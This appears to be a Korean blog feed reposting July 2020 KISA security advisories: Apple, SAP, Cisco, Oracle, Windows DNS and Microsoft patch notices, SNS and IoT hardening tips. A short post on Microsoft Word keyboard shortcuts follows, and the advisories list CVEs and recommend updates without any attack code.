□ 영향을 받는 버전 및 제품

o MacOS
- Catalina 10.15.5
o watchOS : 애플 워치 시리즈 1 및 이후 제품
o tvOS : Apple TV 4K 및 TV HD
o iOS 및 iPadOS
- iOS : iPhone 6s 및 이후 모델
- iPadOS : iPad Air 2 및 이후 모델, iPad mini 4 및 이후 모델, iPod touch (7세대)
o Safari : High Sierra, Mojave, Catalina를 사용 중인 Mac 사용자

□ 해결 방안

ㅇ 아래 참고 사이트의 ‘Apple에서 최신 소프트웨어 업데이트’ 부분을 참고하여 최신버전으로 업데이트 적용 [1]

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

[1] https://support.apple.com/ko-kr/HT201222
[2] https://support.apple.com/ko-kr/HT211289
[3] https://support.apple.com/ko-kr/HT211291
[4] https://support.apple.com/ko-kr/HT211290
[5] https://support.apple.com/ko-kr/HT211288
[6] https://support.apple.com/ko-kr/HT211292

[U-Notice] 07. 사회관계망서비스(SNS) 해킹 피해 예방을 위한 사용자 주의사항 권고

SecuIT — Thu, 16 Jul 2020 19:29:01 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

사회관계망서비스(SNS) 해킹 피해 예방을 위한 사용자 주의사항 권고

□ 개요

o 최근 페이스북, 트위터, 인스타그램 등 SNS 사용자 계정이 해킹되어 국내·외에서 다양한 피해가 발생하고 있어 SNS 사용자들의 피해 예방을 위한 보안 권고 사항 안내

□ 주요 사고 사례

o 해킹한 SNS 계정을 이용하여 악성 프로그램 유포, 불법 게시물 등록, 허위 사실 유포 및 해당 계정에 등록된 게시글 삭제 등의 피해 발생

□ 대응방안

o 대·소문자, 숫자, 특수문자 등을 조합하여 추측하기 어려운 패스워드를 설정하고 주기적으로 변경
o SNS에서 제공하는 추가 인증 기능(2단계 인증 방식 등) 적용
o 게시물 또는 메시지에 URL이 포함되어 있을 경우 클릭 주의
o 모르는 계정이 친구로 추가되었는지 여부 주기적으로 점검
o 본인이 등록하지 않은 게시글 생성 또는 메시지 발송 여부 주기적으로 점검
o 메시지 등을 통해 지인으로부터 금전을 요구받은 경우 지인에게 직접 연락하여 확인

□ 작성 : 침해대응단 상황관제팀

https://www.krcert.or.kr/

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

[U-Notice] 06. SAP NetWeaver AS JAVA 보안 업데이트 권고

SecuIT — Thu, 16 Jul 2020 19:25:26 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

SAP NetWeaver AS JAVA 보안 업데이트 권고

□ 개요

o SAP 社는 자사 제품의 취약점을 해결한 보안 업데이트 공지 [1]
o 공격자는 해당 취약점을 이용하여 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고

□ 주요 내용

o SAP NetWeaver Application Server(AS) JAVA에서 인증 기능이 미흡하여 발생하는 권한 탈취 취약점(CVE-2020-6287) [2]
※ NetWeaver AS JAVA : 기업내 정형/비정형 데이터를 통합하고 비즈니스 프로세스를 통합하기 위한 통합 플랫

□ 영향받는 제품

o NetWeaver AS JAVA
- 7.30
- 7.31
- 7.40
- 7.50

□ 해결 방안

o 제조사 홈페이지를 참고하여 최신 버전으로 업데이트 적용[3]

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

[1] https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
[3] https://support.sap.com/kb-incidents/notifications/security-notes.html

□ 작성 : 침해사고분석단 취약점분석팀

https://www.krcert.or.kr/

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

[U-Notice] 05. Cisco 제품 취약점 보안 업데이트 권고

SecuIT — Thu, 16 Jul 2020 11:37:50 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

Cisco 제품 취약점 보안 업데이트 권고

□ 개요

o Cisco社는 자사 제품의 취약점을 해결한 보안 업데이트 공지 [1]
o 공격자는 해당 취약점을 이용하여 원격코드 실행 등의 피해를 발생시킬 수 있으므로, 해당 제품을 사용하는 이용자들은 최신 버전으로 업데이트 권고

□ 주요 내용

o Cisco Small Business RV110W Wireless-N VPN Firewall Routers에서 취약한 자격증명으로 인해 발생하는 권한탈취가 가능한 취약점(CVE-2020-3330) [2]
o Cisco Small Business RV110W, RV130, RV130W, RV215W Routers에서 입력값 검증이 미흡하여 발생하는 명령어 삽입 취약점(CVE-2020-3336) 등 5개 [3][4][5][6]
o Cisco RV110W, RV215W Wireless-N VPN Router의 웹 인터페이스에서 입력값 검증이 미흡하여 발생하는 임의코드실행 취약점(CVE-2020-3331) [7]
o Cisco Prime License Manager(PLM) Software의 웹 인터페이스에서 입력값 검증이 미흡하여 발생하는 권한상승 취약점(CVE-2020-3140) [8]
o Cisco SD-WAN vManage Software에서 입력값 검증이 미흡하여 발생하는 원격코드실행 취약점(CVE-2020-3387) 등 3개 [9][10][11]
o Cisco Small Business RV340, RV340W, RV345, RV345P Dual WAN Gigabit VPN Routers에서 HTTP 요청에 대한 검증이 미흡하여 발생하는 원격코드실행 취약점(CVE-2020-3357) 등 2개 [12][13]

□ 영향 받는 제품 및 해결 방안

o 참고 사이트에 명시되어 있는 ‘Affected Products’와 ‘Fixed Software’ 내용을 참고하여 패치 적용

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

□ 작성 : 침해사고분석단 취약점분석팀

[U-Notice] 04. Oracle Critical Patch Update 보안 업데이트 권고

SecuIT — Thu, 16 Jul 2020 11:32:42 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

Oracle Critical Patch Update 보안 업데이트 권고

□ 개요

o 오라클社 CPU에서 자사 제품의 보안 취약점 443개에 대한 패치를 발표 [1]
※ CPU(Critical Patch Update) : 오라클 중요 보안 업데이트
o 영향 받는 버전의 사용자는 악성코드 감염 등에 취약할 수 있으므로, 아래 해결방안에 따라 최신버전으로 업데이트 권고

□ 영향받는 제품 및 버전

Category Management Planning & Optimization, version 15.0.3

Customer Management and Segmentation Foundation, versions 16.0, 17.0, 18.0

Enterprise Manager Base Platform, versions 12.1.0.5, 13.3.0.0, 13.4.0.0

Enterprise Manager for Fusion Middleware, version 12.1.0.5

Enterprise Manager Ops Center, version 12.4.0.0

GoldenGate Stream Analytics, versions prior to 19.1.0.0.1

Hyperion Financial Close Management, version 11.1.2.4

Instantis EnterpriseTrack, versions 17.1-17.3

JD Edwards EnterpriseOne Orchestrator, versions prior to 9.2.4.2

JD Edwards EnterpriseOne Tools, versions prior to 9.2.3.3, prior to 9.2.4.2

MySQL Client, versions 5.6.48 and prior, 5.7.30 and prior, 8.0.20 and prior

MySQL Cluster, versions 7.3.29 and prior, 7.4.28 and prior, 7.5.18 and prior, 7.6.14 and prior, 8.0.20 and prior

MySQL Connectors, versions 8.0.20 and prior

MySQL Enterprise Monitor, versions 4.0.12 and prior, 8.0.20 and prior

MySQL Server, versions 5.6.48 and prior, 5.7.30 and prior, 8.0.20 and prior

Oracle Agile Engineering Data Management, version 6.2.1.0

Oracle Application Express, versions 5.1-19.2

Oracle Application Testing Suite, versions 13.2.0.1, 13.3.0.1

Oracle AutoVue, version 21.0

Oracle Banking Enterprise Collections, versions 2.7.0-2.9.0

Oracle Banking Payments, versions 14.1.0-14.4.0

Oracle Banking Platform, versions 2.4.0-2.10.0

Oracle Berkeley DB, versions prior to 6.1.38, prior to 18.1.40

Oracle BI Publisher, versions 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

Oracle Business Intelligence Enterprise Edition, versions 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

Oracle Business Process Management Suite, versions 12.2.1.3.0, 12.2.1.4.0

Oracle Coherence, versions 3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Oracle Commerce Guided Search / Oracle Commerce Experience Manager, versions 11.0, 11.1, 11.2, prior to 11.3.1

Oracle Commerce Platform, versions 11.1, 11.2, prior to 11.3.1

Oracle Commerce Service Center, versions 11.1, 11.2, prior to 11.3.1

Oracle Communications Analytics, version 12.1.1

Oracle Communications Billing and Revenue Management, versions 7.5.0.23.0, 12.0.0.3.0

Oracle Communications BRM - Elastic Charging Engine, versions 11.3, 12.0

Oracle Communications Contacts Server, version 8.0.0.4.0

Oracle Communications Convergence, versions 3.0.1.0-3.0.2.1

Oracle Communications Diameter Signaling Router (DSR), versions 8.0-8.4

Oracle Communications Element Manager, versions 8.1.1, 8.2.0, 8.2.1

Oracle Communications Evolved Communications Application Server, version 7.1

Oracle Communications Instant Messaging Server, version 10.0.1.4.0

Oracle Communications Interactive Session Recorder, versions 6.1-6.4

Oracle Communications IP Service Activator, versions 7.3.0, 7.4.0

Oracle Communications LSMS, versions 13.0-13.3

Oracle Communications Messaging Server, versions 8.0.2, 8.1.0

Oracle Communications MetaSolv Solution, version 6.3.0

Oracle Communications Network Charging and Control, versions 6.0.1, 12.0.0-12.0.3

Oracle Communications Network Integrity, versions 7.3.2-7.3.6

Oracle Communications Operations Monitor, versions 3.4, 4.1-4.3

Oracle Communications Order and Service Management, versions 7.3, 7.4

Oracle Communications Services Gatekeeper, versions 6.0, 6.1, 7.0

Oracle Communications Session Border Controller, versions 8.1.0, 8.2.0, 8.3.0

Oracle Communications Session Report Manager, versions 8.1.1, 8.2.0, 8.2.1

Oracle Communications Session Route Manager, versions 8.1.1, 8.2.0, 8.2.1

Oracle Configuration Manager, version 12.1.2.0.6

Oracle Configurator, versions 12.1, 12.2

Oracle Data Masking and Subsetting, versions 13.3.0.0, 13.4.0.0

Oracle Database Server, versions 11.2.0.4, 12.1.0.2, 12.2.0.1, 18c, 19c, [Spatial Studio] prior to 19.2.1

Oracle E-Business Suite, versions 12.1.1-12.1.3, 12.2.3-12.2.9

Oracle Endeca Information Discovery Studio, version 3.2.0

Oracle Enterprise Communications Broker, versions 3.0.0-3.2.0

Oracle Enterprise Repository, version 11.1.1.7.0

Oracle Enterprise Session Border Controller, versions 8.1.0, 8.2.0, 8.3.0

Oracle Financial Services Analytical Applications Infrastructure, versions 8.0.6-8.1.0

Oracle Financial Services Compliance Regulatory Reporting, versions 8.0.6-8.0.8

Oracle Financial Services Lending and Leasing, versions 12.5.0, 14.1.0-14.8.0

Oracle Financial Services Liquidity Risk Management, version 8.0.6

Oracle Financial Services Loan Loss Forecasting and Provisioning, versions 8.0.6-8.0.8

Oracle Financial Services Market Risk Measurement and Management, versions 8.0.6, 8.0.8

Oracle Financial Services Regulatory Reporting for De Nederlandsche Bank, version 8.0.4

Oracle FLEXCUBE Investor Servicing, versions 12.1.0, 12.3.0, 12.4.0, 14.0.0, 14.1.0

Oracle FLEXCUBE Private Banking, versions 12.0.0, 12.1.0

Oracle Fusion Middleware MapViewer, versions 12.2.1.3.0, 12.2.1.4.0

Oracle Global Lifecycle Management/OPatch, versions prior to 12.2.0.1.20

Oracle GoldenGate, versions prior to 19.1.0.0.0

Oracle GraalVM Enterprise Edition, versions 19.3.2, 20.1.0

Oracle Health Sciences Empirica Inspections, version 1.0.1.2

Oracle Health Sciences Empirica Signal, version 7.3.3

Oracle Healthcare Master Person Index, version 4.0.2

Oracle Healthcare Translational Research, versions 3.2.1, 3.3.1, 3.3.2, 3.4.0

Oracle Help Technologies, versions 11.1.1.9.0, 12.2.1.3.0

Oracle Hospitality Guest Access, versions 4.2.0, 4.2.1

Oracle Hospitality Reporting and Analytics, version 9.1.0

Oracle Hyperion BI+, version 11.1.2.4

Oracle iLearning, versions 6.1, 6.1.1

Oracle Insurance Accounting Analyzer, versions 8.0.6-8.0.9

Oracle Insurance Data Gateway, version 1.0

Oracle Insurance Policy Administration J2EE, versions 10.2.0, 10.2.4, 11.0.2, 11.1.0, 11.2.0

Oracle Insurance Rules Palette, versions 10.2.0, 10.2.4, 11.0.2, 11.1.0, 11.2.0

Oracle Java SE, versions 7u261, 8u251, 11.0.7, 14.0.1

Oracle Java SE Embedded, version 8u251

Oracle Outside In Technology, versions 8.5.4, 8.5.5

Oracle Rapid Planning, versions 12.1, 12.2

Oracle Real User Experience Insight, version 13.3.1.0

Oracle Retail Assortment Planning, versions 15.0, 15.0.3, 16.0, 16.0.3

Oracle Retail Bulk Data Integration, versions 15.0, 16.0

Oracle Retail Customer Management and Segmentation Foundation, version 18.0

Oracle Retail Data Extractor for Merchandising, versions 1.9, 1.10, 18.0

Oracle Retail Extract Transform and Load, version 19.0

Oracle Retail Financial Integration, versions 15.0, 16.0

Oracle Retail Fusion Platform, version 5.5

Oracle Retail Integration Bus, versions 15.0, 15.0.3, 16.0, 16.0.3

Oracle Retail Invoice Matching, version 16.0

Oracle Retail Item Planning, version 15.0.3

Oracle Retail Macro Space Optimization, version 15.0.3

Oracle Retail Merchandise Financial Planning, version 15.0.3

Oracle Retail Merchandising System, versions 15.0.3, 16.0.2, 16.0.3

Oracle Retail Order Broker, version 15.0

Oracle Retail Predictive Application Server, versions 14.0.3, 14.1.3, 15.0.3, 16.0.3

Oracle Retail Regular Price Optimization, versions 15.0.3, 16.0.3

Oracle Retail Replenishment Optimization, version 15.0.3

Oracle Retail Sales Audit, version 14.1

Oracle Retail Service Backbone, versions 14.1, 15.0, 16.0

Oracle Retail Size Profile Optimization, version 15.0.3

Oracle Retail Store Inventory Management, versions 14.0.4, 14.1.3, 15.0.3, 16.0.3

Oracle Retail Xstore Point of Service, versions 7.1, 15.0, 16.0, 17.0, 18.0, 19.0

Oracle SD-WAN Aware, version 8.2

Oracle SD-WAN Edge, versions 8.2, 9.0

Oracle Security Service, versions 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

Oracle Solaris, version 11

Oracle TimesTen In-Memory Database, versions prior to 18.1.2.1.0

Oracle Transportation Management, versions 6.3.7, 6.4.3

Oracle Unified Directory, versions 11.1.2.3.0, 12.2.1.3.0, 12.2.1.4.0

Oracle Utilities Framework, versions 4.3.0.5.0, 4.3.0.6.0, 4.4.0.0.0, 4.4.0.2.0

Oracle VM VirtualBox, versions prior to 5.2.44, prior to 6.0.24, prior to 6.1.12

Oracle WebCenter Portal, versions 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

Oracle WebCenter Sites, versions 12.2.1.3.0, 12.2.1.4.0

Oracle WebLogic Server, versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Oracle ZFS Storage Appliance Kit, version 8.8

PeopleSoft Enterprise FIN Expenses, version 9.2

PeopleSoft Enterprise HCM Global Payroll Switzerland, version 9.2

PeopleSoft Enterprise HRMS, version 9.2

PeopleSoft Enterprise PeopleTools, versions 8.56, 8.57, 8.58

Primavera Gateway, versions 16.2.0-16.2.11, 17.12.0-17.12.7, 18.8.0-18.8.9, 19.12.0-19.12.4

Primavera P6 Enterprise Project Portfolio Management, versions 16.1.0.0-16.2.20.1, 17.1.0.0-17.12.17.1, 18.1.0.0-18.8.19, 19.12.0-19.12.6

Primavera Portfolio Management, versions 16.1.0.0-16.1.5.1, 18.0.0.0-18.0.2.0, 19.0.0.0

Primavera Unifier, versions 16.1, 16.2, 17.7-17.12, 18.8, 19.12, [Mobile App] prior to 20.6

Siebel Applications, versions 2.20.5 and prior, 20.6 and prior

□ 해결 방안

o "Oracle Critical Patch Update Advisory – July 2020“ 문서 및 패치사항을 검토하고 벤더사 및 유지보수 업체와 협의/검토 후 패치 적용 [1]
o JAVA SE 사용자는 설치된 제품의 최신 업데이트를 다운로드[2] 받아 설치하거나, Java 업데이트 자동 알림 설정을 권고 [3]

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

[1] https://www.oracle.com/security-alerts/cpujul2020.html
[2] http://www.oracle.com/technetwork/java/javase/downloads/index.html
[3] https://www.java.com/ko/download/help/java_update.xml

□ 작성 : 침해사고분석단 취약점분석팀

[U-Notice] 03. IoT 보안 취약점 주의 권고

SecuIT — Wed, 15 Jul 2020 17:47:03 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

IoT 보안 취약점 주의 권고

□ 개요

o 트렌트마이크로는 IoT 취약점을 이용하는 미라이 봇넷(Mirai Botnet)의 변종 발견 [1]
o 공격자는 해당 취약점을 악용하여 원격코드실행 등의 피해를 발생시킬 수 있으므로, 최신 버전으로 업데이트 권고

□ 설명

o 새로 발견된 미라이 변종은 IoT 기기의 취약점(CVE-2020-10173 등 9개)을 이용하여 악성코드 전파 [2]
o 악성코드에 감염된 IoT 기기는 명령지 서버의 명령에 따라 DoS 공격 수행

□ 영향을 받는 제품

o Comtrend VR-3033 공유기
o Netlink GPON 공유기
o ThinkPHP
o LG SuperSign EZ CMS
o MVPower DVR TV-7104HE
o AVTECH : 모든 IP 카메라, NVR, DVR 기기
o Linksys E-series 공유기
o D-Link 제품군
o Symantec Web Gateway

□ 대응 방안

o 인터넷에 연결된 IoT장비(공유기, NAS, CCTV, CAM 등)의 초기 관리자 패스워드를 변경
※ 초기 관리자 패스워드를 복잡도가 높은 패스워드로 변경 권고
o 상기 명시된 대상 장비에 원격접속이 불가능하도록 사용하지 않는 서비스 포트의 사용 해제 설정(ex : SSH(22), Telnet(23) 등)

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

[1] https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/
[2] https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/IoT.Linux.MIRAI.VWISI?_ga=2.253357889.918854610.1594793767-1552326391.1594793766

□ 작성 : 침해사고분석단 취약점분석팀

https://www.krcert.or.kr/

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

[U-Notice] 02. MS Windows DNS 서버 보안 업데이트 권고

SecuIT — Wed, 15 Jul 2020 17:41:45 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

MS Windows DNS 서버 보안 업데이트 권고

□ 개요

o MS는 Windows DNS 서버에서 발생하는 취약점을 해결한 보안 업데이트 발표 [1]
o 공격자는 해당 취약점을 악용하여 원격코드실행 등의 피해를 발생시킬 수 있으므로, 최신 버전으로 업데이트 권고

□ 설명

o DNS로 운영되는 Windows 서버에서 요청값에 대한 처리가 미흡하여 발생하는 원격코드실행 취약점(CVE-2020-1350) [2]

□ 영향을 받는 제품

o Windows Server(Server Core Installation 포함)
- 서버 2008 서비스팩2(32/64비트)
- 서버 2008 R2 서비스팩1(64비트)
- 서버 2012, 2012 R2
- 서버 2016, 2019
- 버전 1903, 1909, 2004
※ DNS로 운영되지 않는 Windows 서버는 영향받지 않음

□ 해결 방안

o 최신 버전으로 업데이트 적용 [2]
o 레지스트리 값 수정(임시 해결 방안) [3]

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
DWORD = TcpReceivePacketSize
Value = 0xFF00

※ 레지스트리 변경 후 DNS 서비스 재시작 필요

□ 기타 문의사항

o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]

[1] https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/
[2] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350
[3] https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability

□ 작성 : 침해사고분석단 취약점분석팀

https://www.krcert.or.kr/

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

[U-Notice] 01. MS 7월 보안 위협에 따른 정기 보안 업데이트 권고

SecuIT — Wed, 15 Jul 2020 17:20:28 +0900

Intro

*해당 내용은 KISA의 보안공지입니다.
*본 글은 보안권고문 전파의 목적으로 사용하며, 문제가 될 시에 삭제 조치하겠습니다.

MS 7월 보안 위협에 따른 정기 보안 업데이트 권고

□ 7월 보안업데이트 개요(총 11종)

o 등급 : 긴급(Critical) 9종, 중요(Important) 2종
o 발표일 : 2020.07.15.(수)
o 업데이트 내용

제품군	중요도	영향	KB번호
Windows 10 v2004, v1909, v1903, v1809, v1803, v1709, 1607	긴급	원격 코드 실행	4558997 등 13개
Windows Server 2016, 2019, Server Core(2019, 2016, v1909, v1903, v1803)	긴급	원격 코드 실행	4558997 등 6개
Windows 8.1, Windows Server 2012 R2, Windows Server 2012	긴급	원격 코드 실행	4565524 등 7개
Internet Explorer	긴급	원격 코드 실행	4558998 등 11개
Microsoft Office 관련 소프트웨어	긴급	원격 코드 실행	4484357 등 13개
Microsoft SharePoint 관련 소프트웨어	긴급	원격 코드 실행	4484348 등 13개
Microsoft Lync 서버 및 비즈니스용 Skype	긴급	권한상승	4571332 등 3개
Microsoft .NET 관련 소프트웨어	긴급	원격 코드 실행	4565489 등 17개
Visual Studio 관련 소프트웨어	긴급	원격 코드 실행	4567703
Azure DevOps Server	중요	스푸핑	-
System Center	중요	권한상승	-

o 참고사이트
- 한글 : https://portal.msrc.microsoft.com/ko-kr/security-guidance
- 영문 : https://portal.msrc.microsoft.com/en-us/security-guidance

1. Windows 10 v2004, v1909, v1903, v1809, v1803, v1709, 1607 보안 업데이트

□ 설명

o 공격자가 특수하게 제작된 악성 응용 프로그램을 실행할 경우, 원격코드실행을 허용하는 취약점

o 관련취약점 :
- 원격코드실행 취약점(CVE-2020-1355, CVE-2020-1374, CVE-2020-1400, CVE-2020-1401, CVE-2020-1407, CVE-2020-1408, CVE-2020-1409, CVE-2020-1410, CVE-2020-1412, CVE-2020-1421, CVE-2020-1435, CVE-2020-1436)
- 권한상승 취약점(CVE-2020-1085, CVE-2020-1249, CVE-2020-1333, CVE-2020-1336, CVE-2020-1344, CVE-2020-1346, CVE-2020-1347, CVE-2020-1352, CVE-2020-1353, CVE-2020-1354, CVE-2020-1357, CVE-2020-1359, CVE-2020-1360, CVE-2020-1362, CVE-2020-1363, CVE-2020-1365, CVE-2020-1366, CVE-2020-1368, CVE-2020-1369, CVE-2020-1370, CVE-2020-1371, CVE-2020-1372, CVE-2020-1373, CVE-2020-1375, CVE-2020-1381, CVE-2020-1382, CVE-2020-1384, CVE-2020-1385, CVE-2020-1387, CVE-2020-1388, CVE-2020-1390, CVE-2020-1392, CVE-2020-1393, CVE-2020-1394, CVE-2020-1395, CVE-2020-1396, CVE-2020-1398, CVE-2020-1399, CVE-2020-1402, CVE-2020-1404, CVE-2020-1405, CVE-2020-1406, CVE-2020-1411, CVE-2020-1413, CVE-2020-1414, CVE-2020-1415, CVE-2020-1418, CVE-2020-1422, CVE-2020-1424, CVE-2020-1427, CVE-2020-1428, CVE-2020-1429, CVE-2020-1430, CVE-2020-1431, CVE-2020-1434, CVE-2020-1437, CVE-2020-1438, CVE-2020-1463)
- 서비스거부 취약점(CVE-2020-1267, CVE-2020-1364)
- 정보노출 취약점(CVE-2020-1330, CVE-2020-1351, CVE-2020-1358, CVE-2020-1361, CVE-2020-1367, CVE-2020-1386, CVE-2020-1389, CVE-2020-1391, CVE-2020-1397, CVE-2020-1419, CVE-2020-1420, CVE-2020-1426, CVE-2020-1433, CVE-2020-1462, CVE-2020-1468)

o 영향 : 원격코드실행

o 중요도 : 긴급

o 관련 KB번호
- 4558997, 4558998, 4565483, 4565489, 4565503, 4565508, 4565511, 4565513, 4565552, 4565553, 4565554, 4565911, 4565912

□ 해결책

o 영향 받는 소프트웨어를 이용하는 경우 마이크로소프트사의 보안 패치 적용

2. Windows Server 2019, Windows Server 2016, Server Core 설치(2019, 2016, v1909, v1903, v1803) 보안 업데이트

□ 설명

o 공격자가 특수하게 제작된 악성 응용 프로그램을 실행할 경우, 원격코드실행을 허용하는 취약점

o 관련취약점 :
- 원격코드실행 취약점(CVE-2020-1032, CVE-2020-1036, CVE-2020-1040, CVE-2020-1041, CVE-2020-1042, CVE-2020-1043, CVE-2020-1350, CVE-2020-1355, CVE-2020-1374, CVE-2020-1400, CVE-2020-1401, CVE-2020-1407, CVE-2020-1408, CVE-2020-1409, CVE-2020-1410, CVE-2020-1412, CVE-2020-1421, CVE-2020-1435, CVE-2020-1436)
- 권한상승 취약점(CVE-2020-1085, CVE-2020-1249, CVE-2020-1333, CVE-2020-1336, CVE-2020-1344, CVE-2020-1346, CVE-2020-1347, CVE-2020-1352, CVE-2020-1353, CVE-2020-1354, CVE-2020-1356, CVE-2020-1357, CVE-2020-1359, CVE-2020-1360, CVE-2020-1362, CVE-2020-1363, CVE-2020-1365, CVE-2020-1366, CVE-2020-1368, CVE-2020-1369, CVE-2020-1370, CVE-2020-1371, CVE-2020-1372, CVE-2020-1373, CVE-2020-1375, CVE-2020-1381, CVE-2020-1382, CVE-2020-1384, CVE-2020-1385, CVE-2020-1387, CVE-2020-1388, CVE-2020-1390, CVE-2020-1392, CVE-2020-1393, CVE-2020-1394, CVE-2020-1395, CVE-2020-1396, CVE-2020-1398, CVE-2020-1399, CVE-2020-1402, CVE-2020-1404, CVE-2020-1405, CVE-2020-1406, CVE-2020-1411, CVE-2020-1413, CVE-2020-1414, CVE-2020-1415, CVE-2020-1418, CVE-2020-1422, CVE-2020-1424, CVE-2020-1427, CVE-2020-1428, CVE-2020-1429, CVE-2020-1430, CVE-2020-1431, CVE-2020-1434, CVE-2020-1437, CVE-2020-1438, CVE-2020-1463)
- 서비스거부 취약점(CVE-2020-1267, CVE-2020-1364)
- 정보노출 취약점(CVE-2020-1330, CVE-2020-1351, CVE-2020-1358, CVE-2020-1361, CVE-2020-1367, CVE-2020-1386, CVE-2020-1389, CVE-2020-1391, CVE-2020-1397, CVE-2020-1419, CVE-2020-1420, CVE-2020-1426, CVE-2020-1433, CVE-2020-1462, CVE-2020-1468)

o 영향 : 원격코드실행

o 중요도 : 긴급

o 관련 KB번호
- 4558997, 4558998, 4565483, 4565511, 4565554, 4565912

□ 해결책

o 영향받는 소프트웨어를 이용하는 경우 마이크로소프트사의 보안 패치 적용

3. Windows 8.1, Windows Server 2012 R2, Windows Server 2012 보안 업데이트

□ 설명

www.boho.or.kr

[U-Information] 02. MS 워드 단축키 및 활용(Shortcuts and utilization of MS Word)

SecuIT — Wed, 15 Jul 2020 16:51:14 +0900

Intro

워드(Word)란?

마이크로소프트 워드(Microsoft Word)는 마이크로소프트에서 개발한 오피스 소프트웨어이며, 업무용으로 전세계에서 가장 널리 쓰이고 있습니다. 마이크로소프트 오피스의 주요 제품군 가운데 하나이고, 1983년 10월 25일 "Multi-Tool Word for Xenix systems"라는 이름으로 첫 출시되었습니다.

워드의 파일 포맷은 오피스 오픈 XML를 기반으로 만들어졌으며, .doc, .docx라는 확장자를 사용합니다.

1. 글꼴 바꾸기 (크기 조정)

Ctrl + [	글꼴 크기 1포인트 줄임

Ctrl + ]	글꼴 크기 1포인트 늘림

Ctrl + Shift + >	글꼴 크기 늘림 (글꼴 대화상자에 정의되어 있는 크기대로 늘림)

Ctrl + Shift + <	글꼴 크기 줄임 (글꼴 대화상자에 정의되어 있는 크기대로 줄임)

Ctrl + Shift + F	글꼴 바꾸기 (글꼴 설정창이 활성화되며, 글꼴 변경칸으로 포커스 된다.)

Ctrl + Shift + P	글꼴크기 바꾸기 (글꼴 설정창이 활성화되며, 크기 변경칸으로 포커스 된다.)

2. 문자 서식 적용

Ctrl + =	아래 첨자 설정(자동 간격)

Ctrl + Shift + +	위 첨자 설정(자동 간격)

Ctrl + spacebar	키 수동으로 설정된 글자 서식 제거 (초기 Word 서식으로 돌아감)

Ctrl + B	굵게 설정

Ctrl + D	문자 서식 바꾸기 (서식 메뉴의 글꼴 명령)

Ctrl + i	기울임꼴 설정

Ctrl + Shift + D	텍스트에 이중 밑줄 설정

Ctrl + Shift + Q	선택 항목을 기호 글꼴로 바꾸기

Ctrl + Shift + W	단어만(공백 제외) 밑줄 설정

Ctrl + U	밑줄 적용

Shift + F3	대/소문자 바꾸기

3. 텍스트 서식 표시 및 복사

Ctrl + Shift + C, Ctrl + Shift + V	서식 복사, 서식 붙여넣기

Shift + F1	텍스트 서식 검토 (F1을 누른 다음 서식을 검토할 텍스트 선택)

4. 줄 간격 설정

Ctrl + 1	1줄 간격 설정

Ctrl + 2	2줄 간격 설정

Ctrl + 5	1.5줄 간격 설정

5. 단락 맞춤

Ctrl + J	단락 양쪽 맞춤

Ctrl + L	단락 왼쪽 맞춤

Ctrl + E	단락 가운데 맞춤

Ctrl + R	단락 오른쪽 맞춤

Ctrl + M	왼쪽에서 단락 들여쓰기

Ctrl + Q	단락 서식 제거

Ctrl + Shift + M	왼쪽에서 단락 들여쓰기 제거

6. 단락 스타일 적용

- Alt + Ctrl + 1 제목 1 스타일 적용
- Alt + Ctrl + 2 제목 2 스타일 적용
- Alt + Ctrl + 3 제목 3 스타일 적용
- Alt + Ctrl + K 자동 서식 시작
- Ctrl + Shift + L 목록 스타일 적용
- Ctrl + Shift + N 표준 스타일 적용
- Ctrl + Shift + S 스타일 적용

7. 기능 단축키

- 파일 새로 만들기 Ctrl + N
- 열기 Ctrl + O
- 닫기 Ctrl + F4
- 저장 Ctrl + S
- 다른 이름으로 저장 F12
- 인쇄 Ctrl + P
- 인쇄 미리보기 Ctrl + F2
- 끝내기 Alt + F4
- 편집 작업 취소(undo) Ctrl + Z
